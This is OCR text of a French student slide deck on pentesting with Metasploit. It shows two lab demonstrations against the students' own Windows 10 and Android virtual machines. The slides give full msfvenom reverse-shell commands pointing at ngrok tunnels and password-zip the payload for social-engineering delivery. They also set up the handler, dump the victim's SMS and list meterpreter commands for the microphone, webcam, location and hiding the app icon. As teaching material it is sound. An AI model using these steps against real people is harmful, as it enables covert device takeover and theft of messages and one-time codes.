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EXPLOIT

« Exploitation d'une vulnérabilité d’un systeme, une application
Ou un service.

» Attaquersacible
« Exécution du code de cet exploit

* Trouver des exploits :
* https://www.exploit-db.com/
 http://cve.mitre.org/
 https://blog.osvdb.org/
* https://www.securityfocus.com/
* https://insecure.org/sploits.html
* https://packetstormsecurity.com/

Open Source Vulnerability
Database

Abbreviations



http://cve.mitre.org/
https://blog.osvdb.org/
https://www.securityfocus.com/
https://insecure.org/sploits.html
https://packetstormsecurity.com/

PAYLOAD

 Délivré par un « exploit »

* Morceau de code que ’attaquant ou testeur
souhaite que le systeme exécute

* Undes plus connus est Meterpreter, beaucoup
de possibilités :
« sedéplacer

* télécharger des fichiers présents sur la
cible

» d’attaquer les autres machines sur le
méme réseau




SHELLCODE

* Ensemble d’instructions \\/

e Ecrit en assembleur

« S’il est bien exécuté, permet de fournir a ’'attaquant une invite de commande shell ou Meterpreter.



PENTESTING

» Evaluation proactive de la
sécurité informatique

e Simuler des attaques

* |dentifier et corriger les
vulnérabilités d'un systeme
avant qu'elles ne soient
exploitées par des
cybercriminels

Pitch deck

PENETRATION
TESTING PHASES




SCHEMA MITRE ATT&CK

ATT&CK Matrix for Enterprise
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CONCTIONNALITES




METASPLOIT, LOUTIL DE PENTESTING PAR EXCELLENCE ?

e Modules auxiliaires \/

e Modules de chiffrement

* Modules d’évasion
 Modules d’exploitation
* Modules NOP

* Modules de payload
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POURQUOI UN SI GRAND SUCCES ?

Grande quantité d’exploits de failles de sécurité \/

Exploitation de maniere automatisée et rapide

Outils de maintien d’acces et d’interaction avec les systemes pénétrés

Rapport d’exploitation : tres utile pour les pentests
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ET SI ON LANCAIT METASPLOIT ?

& msfeonsole ~ x + ~

firmin@Inspiron ~>
Metasploit tip: Search can apply complex filters such as s
type:exploit, see all the filters with help search

e e
| METASPLOIT by Rapid7
e e e e +
| |
| == o 0 |
| = |
| |
| |
| |
| RECON | \(@)(e) (@) (@)(e)al(@)/
| | kkkkkkkkkkkkkkkkkkkkk
A e e e e A e e e e e
| 00o0 | ARAVAVAVAY,
| o0 | ::::::(
| o | .' LooT .
| | / N\
| PAYLOAD i\ | / CIl- \
| | I 112 I
| | n || n
| - - = = = = = = = = = = | e e '
e e
=[ metasploit v6.3.u4u-dev-
+ —— ——=[ 2376 exploits - 1232 auxiliary - 416 post
+ — ——=[ 1388 payloads — 46 encoders - 11 nops
+ — ——=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > |

earch cve:2009

[ Sy -
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DEMONSTRATIONS
D’EXPLOITS




DEMONSTRATION N°1 (PREREQUIS ET DONNEES CONNUES) : \\/

Microsoft Defender

RECONNAISSANCE

- Etapes de reconnaissances effectuées et on ‘ ' .

Windows 10

connait donc le systeme cible.

- Machine Windows 10 avec l’antivirus

Windows Defender

- On délivrera le malware dans un programme

exécutable via SE.
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DEMONSTRATION N°1:

1ERE ETAPE : CREATION D'UN
SERVEUR

- Utilisation d’un service de proxy inverse

permettant de créer des tunnels (Ngrok).
- Redirection du port 2023 vers le service.

- Obtention d’une adresse ainsi qu’un port sur

lesquels le malware communiquera.

ngrok

Build better APIs with ngr

p =4 |

Session Status
Account
Version

Region

Latency

Web Interface
Forwarding

Connections

oK.

theophile @kali: ~

Early access: ngrok.com/early-access
online

Theophile REY (Plan: Free)

3.4.0

Europe (eu)

59ms

http://127.0.0.1:4040
tep://0.tcp.eu.ngrok.io:19424 -> localhost:2023

ttl opn rt1 rts p50 p9o
0 0 0.00 0.00 0.00 0.00
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DEMONSTRATION N°1:

2E ETAPE : CREATION DU
MALWARE (PAYLOAD)

- On utiliseramsfvenom (outil open source
préinstallé dans Kali Linux permettant de
générer des payloads en utilisant les exploits

disponibles dans Metasploit par exemple).

Commande:

msfvenom -p windows/meterpreter/reverse_tcp
LHOST = O.tcp.eu.ngrok.io LPORT = 19424 -f
exe > CeciEstUnReverseShell.exe

LTHEFH‘I’HH‘I’

@

theophile@

( )-[~1
[r_|“5fvewor -p windows/meterpreter/reverse_tcp LHOST=0.tcp.eu.ngrok.io LPORT=19424 -f exe > CeciEstUnReverseShell.exe

[-] no platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73882 bytes

( )-[~]
oy
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DEMONSTRATION N°1

3EETAPE : DISTRIBUTION

- Le payload a bien été créé dans le dossier
/home, on le compresse avec un mot de

passe pour le distribuer.

D)

Templates

s [X]
@ & 3 = a
Desktop Documents Downloads Music Pictures Public
Videos VirtualBox VMs CeciEstUnReverseS ngrok
hell.exe
Cancel Create Compressed Archive Create

Archive name

CeciEstUnReverseShell zZip i@ ~
Password
azertyuic-p| ©
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DEMONSTRATION N°1:

4E ETAPE : CONFIGURATION DE
METASPLOIT

On configure Metasploit : pour lancer le
framework, on utilise lacommande

msfconsole, pré-installée dans Kali Linux.

On selectionne l'exploit qu'on souhaite utiliser
(celui qui a été utilisé lors de la création du

payload).

Ngrok va rediriger tout le traffic du payload

vers localhost:2023, on écoute doncici.

a theo

theophil

’_—(rhenphileﬁ‘l- kali)-[~]
$ msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace

true

I\ A . I A A

L IN 7 A . 1/ N_ AN

V2 T Y I N ) VAN PN =L 1--1

0 T ) e N W W [ A I B O
72 D A N VA A N \ VY A V' \__| I WA
=[ metasploit v6.3.41-dev 1

+ —- --=[ 2371 exploits - 123@ auxiliary - 414 post 1

+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]

+ -- --=[ 9 evasion 1

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler

[#] Using configured payload generic/shell_reverse_tcp

msf6 exploit( ) > set payload windows/shell/reverse_tcp

payload => windows/shell/reverse_tcp

msf6 exploit( ) > set LHOST 127.0.0.1

LHOST => 127.0.0.1

msf6 exploit( ) > set LPORT 2023

LPORT => 2023

msf6 exploit( ) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverselListenerBindAddress?

[*] Started reverse TCP handler on 127.0.0.1:2023

|
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DEMONSTRATION N°1:

Windows10 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

o] .

Corbeille

~ | Téléchargements

5E ETAPE : EXECUTION DANS LA K

VM WI N DOWS lO M‘_gsoﬁ . _ E:ureau']' ¥ fe PC » Téléchargements »

I Téléchargeme

Modifiéle ype Taille

= Documents

On configure une VM Windows 10 sur ) Images

VirtualBox qui représentera notre cible.

La victime a téléchargé le malware et I’a
exécuté, nous allons donc pouvoir passera la

post-exploitation !

A~ Gt ) )
B © 2 & W E 1T F| & D Right Ctrl




DEMONSTRATION N°1:

6E ETAPE : EXPLOITATION DANS
MSFCONSOLE

- Lasession a bien été créée et msfconsole
est bien connectée a la backdoor présente

sur le systeme cible.

theophile@

(theophile® kali)-[~]
[g msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace

true

I\ A . I A

LN /1 A S [/ N_o AN

Y2 1 I N E (AN A N T A T I O O Y

1 Y Y Y I A W U W B [ O A B B I I
I/ I/ NN ANV \__I VY
=[ metasploit v6.3.41-dev 1

+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post ]

+ -- --=[ 1391 payloads - 46 encoders - 11 nops 1

+ -- —-=[ 9 evasion 1

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit( ) > set payload windows/shell/reverse_tcp

payload => windows/shell/reverse_tcp

msf6 exploit( ) > set LHOST 127.0.0.1

LHOST => 127.0.0.1

msf6 exploit( ) > set LPORT 2023

LPORT => 2023

msf6 exploit( ) > run

[!] You are binding to a loopback address by setting LHOST to 127.@.0.1. Did you want ReverselistenerBindAddress?
[+] Started reverse TCP handler on 127.0.0.1:2023
[#] Sending stage (240 bytes) to 127.0.0.1

[*] command shell session 1 opened (127.0.0.1:2023 -> 127.0.0.1:49830) at 2023-11-10 10:09:11 +0100

*

Shell Banner:
Microsoft Windows [version 10.0.19045.2965]
(c) Microsoft Corporation. Tous droits r_serv_s.

C:\Users\vboxuser\Downloads>

C:\Users\vboxuser\Downloads>]]
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DEMONSTRATION N°1:

7E ETAPE : EXPLOITATION DANS
MSFCONSOLE (EXEMPLE)

- On amaintenant accés au shell de la victime

et on peut exécuter tout ce qu’on veut.

- Parexemple, on peut lancer le notepad sur
ordinateur de la victime en utilisant la

commande notepad. exe.

L—(Thenphil e® kali)-[~]
$

msfconsole

Metasploit tip: Enable HTTP request and response logging with set HttpTrace

true

/\ N\ . I Y

N /] A R N A N W

VA T I I N Y (AN 7S [ A 8 I I A et

I Y I - / -\ __ | 1 [ N B B B O
I/ 1/ NN AN N A A
=[ metasploit v6.3.41-dev ]

+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post ]

+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]

+ -- --=[ 9 evasion 1

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
[+] Using configured payload generic/shell_reverse_tcp

msf6 exploit( ) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp

msf6 exploit( ) > set LHOST 127.0.0.1

LHOST => 127.0.0.1

msf6 exploit( ) > set LPORT 2023

LPORT => 2023

msf6 exploit( ) > run

[l
|#]| Started reverse TCP handler on 127.0.0.1:2023
[+] Sending stage (240 bytes) to 127.0.0.1

[*]

*

Shell Banner:
Microsoft Windows [version 10.0.19045.2965]
(c) Microsoft Corporation. Tous droits r_serv_s.

C:\Users\vboxuser\Downloads>

C:\Users‘\vboxuser\Downloads>notepad.exe
notepad.exe

C:\Users\vboxuser\Downloads>]]

Command shell session 1 opened (127.0.0.1:2023 -> 127.0.0.1:49830) at 2023-11-10 10:09:11 +0100

neopnite@

You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
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DEMONSTRATION N°1:

7E ETAPE : EXPLOITATION DANS
MSFCONSOLE (EXEMPLE)

Le notepad a bien été lancé !

En raison d’un crash du serveur Ngrok, nous
n'avons pu exécuter que cette commande.
Mais il peut étre intéressant d'obtenir les
configurations de la machine cible, scanner le

réseau, et préparer la suite de 'attaque !

Windows10 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

o

Corbeille

6 Fichier Accueil Partage

» CePC » Téléchargements

Affichage Outils

Ll Eile | Sans titre - Bloc-

Fichier Edition Format Affichage Aide

Ln1, Col1

ci pour effectuer une

A~ @:EEIQ:J)T'

ke 1 A

L Y




ET LASUITE ?
(ORGANISATION)

PERSISTENCE

Capacité a rester sur un systeme informatique ciblé de maniére durable, souvent en établissant des mécanismes

permettant de survivre aux redémarrages du systéme.

PRIVILEGE ESCALATION

Capacité a augmenter les droits d'acces sur un systeme compromis, lui permettant ainsi d’exploiter des

vulnérabilités et d’obtenir un niveau d’autorisation plus élevé.

LATERAL MOVEMENT

Capacité de se propager horizontalement a travers un réseau informatique, en exploitant différentes machines ou

systemes interconnectés.

EXFILTRATION, C&C, IMPACT

Exfiltration de données, exécution d’autres payloads (par exemple ransomware, wiper, ...). Impact direct sur
organisation touchée.
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DEMONSTRATION N°2 (PREREQUIS ET CHOSES CONNUES) : \/

RECONNAISSANCE

- Etapes de reconnaissance effectuées et

connaissance du systéme cible. Gn:)QOlD

- Téléphone avec Android Nougat (7.0).

- On délivrera le malware dans un programme

exécutable via social engineering.

25



DEMONSTRATION N°2:

1ERE ETAPE : CREATION D’UN
SERVEUR

- Utilisation d’un service de proxy inverse

permettant de créer des tunnels (Ngrok).
- Redirection du port 2023 vers le service.

- On obtient une adresse ainsi qu’un port sur

lesquels le malware communiquera.

ngrok

Build better APIs with ngrok

Session Status
Account
Version

Region

Latency

Web Interface
Forwarding

Connections

theophile@kali: ~

K. carily access: ngroxK.com/eariLy-access

online

Theophile REY (Plan: Free)

3.4.0

Europe (eu)

91ms

http://127.0.0.1:4040
tcp://6.tcp.eu.ngrok.io:11787 -> localhost:2023

ttl opn rti rts p50 p9o
0 0 0.00 0.00 0.00 0.00
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DEMONSTRATION N°2 :

2E ETAPE : CREATION DU o heophile@lal
MALWARE (PAYLOAD)
)-[~]

(
’—_ msfvenom -p android/meterpreter/reverse_tcp LHOST=6.tcp.eu.ngrok.io LPORT=11787 > CeciEstUnReverseShell.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload

Pour cela, nous utiliserons msfvenom (outil

open source premSta“e dans Kali Linux [-] No arch selected, selecting arch: dalvik from the payload
., No encoder specified, outputting raw payload
permettant de genérer des payloads en Payload size: 10245 bytes

utilisant les exploits disponibles dans ( le]
Csp .

Metasploit par exemple).

Commande:

msfvenom -p android/meterpreter/reverse_tcp
LHOST = 6.tcp.eu.ngrok.io LPORT = 11787 >
CeciEstUnReverseShell.apk
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DEMONSTRATION N°2 :

Cancel Create Compressed Archive

Archive name

CeciEstUnReverseShell

3EETAPE : DISTRIBUTION

Password

azert\,fuiop|
- Le payload a bien été créé dans le dossier

/home, on le compresse avec un mot de

passe pour le distribuer.

5 |

- - e -

e

Documents

Videos

Create

zZip @ ~

:
& ip| 4]
Downloads - Music Pictures

VirtualBox VMs CeciEstUnReverseS ngrok
hell.apk
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DEMONSTRATION N°2:

4E ETAPE : CONFIGURATION DE
METASPLOIT

- Configuration de Metasploit: pour lancer le
framework, on utilise lacommande

msfconsole, pré-installée dans Kali Linux.

- On sélectionne ’exploit qu’on souhaite
utiliser (celui qui a été utilisé lors de la

création du payload).

- Ngrok va rediriger tout le traffic du payload

vers localhost:2023, on écoute doncici.

a theophile@kali: ~
theophile@kali: ~

’j( theophile® kali)-[~]
$ msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor

IITIIT e
II IO EE0
II ER A I W
11 LN T
II N
IIIIII - .-t

I love shells --egypt

=[ metasploit v6.3.41-dev ]
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post 1
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- —-=[ 9 evasion 1
Metasploit Decumentation: https://docs.metasploit.com/
msf6 > use exploit/multi/handler
[+] Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit( ) > set LPORT 2023
LPORT => 2023
msf6 exploit( ) > run

[!] You are binding to a loopback address by setting LHOST to 127.8.0.1. Did you want ReverseListenerBindAddress?
[#] started reverse TCP handler on 127.0.0.1:2023
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DEMONSTRATION N°2 :

Y @ 7:05

Downloads m = MainActivity MainActivity

Do you want to install this application? It will

5E ETAPE : EXECUTION SUR _
L’APPAREIL ANDROID 1

modify system settings

take pictures and videos

modify your contacts
read your contacts

- Configuration d'une VM Android sur Android e

mate location (network-based)
. . , . location (GPS and network-
Studio qui représentera notre cible.

record audio

directly call phone numbers

- W costy oney
& this may 51 you money

- Lavictime a téléchargé le malware et I’a App installed.
read call log
read phone status and identity

write call log

exécuté, nous allons pouvoir passera la

pOSt-eXpIOItatlon I read your text m MS or MMS)

receive 1e»
send and

modify or delete the contents of your SD card
read the contents of your SD card

CANCEL  NEXT DONE  OPEN
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DEMONSTRATION N°2:

a theophile@kali: ~
theophile@kali: ~

L—( theophile® kali)-[~]
$ msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor

IIIIIT

6F ETAPE : EXPLOITATION DANS # = 7

11

MSFCONSOLE

I love shells --egypt

=[ metasploit v6.3.41-dev ]
. . ’. . ’ 0, + -- --=[ 2371 exploits - 1230 auxiliary - 414 post 1
- Lasession a bien été créée etmsfconsole - -l s partoses - is encovers - 12 nops ]
. ’ N ’ Metasploit Documentation: https://docs.metasploit.com/
est bien connectée a la backdoor présente e
msf6 > use exploit/multi/handler
[+] Using configured payload generic/shell_reverse_tcp
N . msf6 exploit( ) > set payload android/meterpreter/reverse_tcp
sur le systeme cible. payload => android/neterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit( ) > set LPORT 2023
LPORT => 2023
msfé exploit( ) > run
[!] You are binding to a loopback address by setting LHOST te 127.0.6.1. Did you want ReverselistenerBindAddress?
[+] started reverse TCP handler on 127.0.0.1:2023
[+] sending stage (70945 bytes) to 127.0.0.1
[+] Sending stage (70945 bytes) to 127.0.0.
[#] Meterpreter session 1 opened (127.0.0.1:2023 -> 127.0.0.1:40744) at 2023-11-16 19:04:23 +0100
[x]

*

Meterpreter session 2 opened (127.0.0.1:2023 -> 127.0.0.1:40756) at 2023-11-16 19:04:23 +0100

meterpreter > |
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DEMONSTRATION N°2 :

Y @ 7:05
Extended Controls - Pixel_4_AP|_24:5554 .
Messenger Q i

7E ETAPE : EXPLOITATION DANS
MSFCONSOLE (EXEMPLE) X coere

Votre code de validation est : ESIREM2023

Google
Votre code de validation est : ESIREM2023
Just now

- Onva maintenant chercher a récupérer les

SMS de la victime.

- Pour celaon utilise le panneau de controle
des simulations d'Android Studio pour
simuler un message entrant venant de
“Google” avec un message comportant un

code de validation “ESIREM2023”.
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DEMONSTRATION N°2:

a theophile@kali: ~
theophile@kali: ~

L—( theophile® kali)-[~]
$ msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor

IIIIIT

7E ETAPE : EXPLOITATION DANS : s;'ff’:“if"

11
II

MSFCONSOLE (EXEMPLE)

I love shells --egypt

=[ metasploit v6.3.41-dev ]
ane =[ 2371 exploits - 1230 auxiliary - 414 post 1
- On utilise lacommande dump_sms pour 5391 payloads - 4o encoders - 11 nops ]
’, ’, . . Metasploit Decumentation: https://docs.metasploit.com/
recuperer les SMS de la victime dans un o
msf6 > use exploit/multi/handler
[+] Using configured payload generic/shell_reverse_tcp
. . msf6 exploit( ) > set payload android/meterpreter/reverse_tcp
flch ler texte_ payload => android/meterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit( ) > set LPORT 2023
LPORT => 2023
msf6 exploit( ) > run
You are binding to a loopback address by setting LHOST to 127.0.@.1. Did you want ReverselListenerBindAddress?

1

] Started reverse TCP handler on 127.0.0.1:2023

] sending stage (70945 bytes) to 127.0.0.1

] sending stage (70945 bytes) to 127.0.0.1

| Meterpreter session 1 opened (127.0.0.1:2023 -> 127.0.0.

] Meterpreter session 2 opened (127.0.0.1:2023 -> 127.0.0.

0744) at 2023-11-16 19:04:23 +0100
40756) at 2023-11-16 19:04:23 +0100

meterpreter > dump_sms
[+] Fetching 1 sms message
[+] SMS message saved to: sms_dump_20231116190606.txt
meterpreter > screenshot
No screenshot data was returned.
with Android, the screenshot command can only capture the host application. If this payload is hosted in an app without a user interface (default behavior), it cannot take screenshots at all.
meterpreter > check_root
[+] Device is not rooted
meterpreter >
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DEMONSTRATION N°2:

7E ETAPE : EXPLOITATION DANS
MSFCONSOLE (EXEMPLE)

- Récupération du fichier texte généré
contenant les détails des SMS présents sur le

téléphone de la victime.

~[sms_dump_20231116190606.txt - Mousepad

File Edit Search View Document Help

B k@ B C x D ¢ x Do Q& n

ra
(]

[+] sMs messages dump

Date: 2023-11-16 19:06:086.340205878 +0100
0S: Android 7.8 - Linux 3.10.0+ (1686)
Remote IP: 127.0.0.1

Remote Port: 40756

#1
Type : Incoming
Date ! 2023-11-16 19:05:38

Address : Google
Status : NOT_RECEIVED
Message : Votre code de validation est : ESIREM2023
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DEMONSTRATION N°2 (ANNEXE DES COMMANDES UTILES)

?
exit
getuid
screenshot
record mic
webcam_stream
dump_calllog / dump_contacts / dump_sms
send_sms
set _audio_mode
hide app_icon
geolocate
shell
localtime

check_root

Menu d’aide du meterpreter
Termine une session meterpreter
Récupere l'utilisateur que le serveur exécute
Prend une capture d’écran du bureau
Enregistre ’audio du micro par défaut pendant x secondes

Lire un flux vidéo depuis la webcam spécifiée
Obtenir le journal des appels / contacts / sms

Envoie un SMS depuis la cible

Définir le mode de sonnerie

Masquer l'icone de 'application du lanceur

Obtenir lat-long actuelle en utilisant la géolocalisation

Obtenir un shell de commande systéme
Affiche la date et I’heure locales du systeme cible

Vérifie si le périphérique est rooté
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